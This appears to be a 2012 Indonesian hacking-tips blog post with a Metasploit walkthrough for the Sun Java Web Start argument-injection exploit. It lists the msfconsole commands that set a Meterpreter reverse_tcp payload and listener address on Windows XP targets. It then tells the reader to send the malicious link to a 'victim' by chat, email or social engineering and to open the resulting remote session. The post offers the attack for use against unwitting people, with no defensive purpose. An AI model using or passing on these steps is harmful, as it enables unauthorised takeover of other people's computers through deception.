Headlines News :
mas template
Home » , » Hack Remote PC with Sun Java Web Start Plugin Command Line Argument Injection

Hack Remote PC with Sun Java Web Start Plugin Command Line Argument Injection

Written By Trik Cari Duit on Rabu, 28 Maret 2012 | 08.26

This module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. The arguments passed to Java Web Start are not properly validated, allowing injection of arbitrary arguments to the JVM. By utilizing the lesser known -J option, an attacker can take advantage of the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method allows an attacker to execute arbitrary code in the context of an unsuspecting browser user. In order for this module to work, it must be run as root on a server that does not serve SMB. Additionally, the target host must have the Web Client service (WebDAV Mini-Redirector) enabled

Exploit Targets
0 - Automatic (default)
1 - Java Runtime on Windows x86

Requirement
Attacker: Backtrack 5
Victim PC: Windows XP

Open backtrack terminal type msfconsole


Now type use exploit/windows/browser/java_ws_vmargs

Msf exploit (java_ws_vmargs)>Set payload windows/meterpreter/reverse_tcp
Msf exploit (java_ws_vmargs)>Set lhost 192.168.1.3 (IP of Local Host)
Msf exploit (java_ws_vmargs)>Set srvhost 192.168.1.3 (This must be an address on the local machine)
Msf exploit (java_ws_vmargs)>set srvport 80
Msf exploit (java_ws_vmargs)>Set uripath / (The Url to use for this exploit)
Msf exploit (java_ws_vmargs)>exploit   


Now an URL you should give to your victim http://192.168.1.3/


Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID

Share this article :

0 komentar:

Speak up your mind

Tell us what you're thinking... !

Bisnis Hot
Bisnis Hot
 


Copyright © 2025. Tips N Trik - All Rights Reserved
Proudly powered by Blogger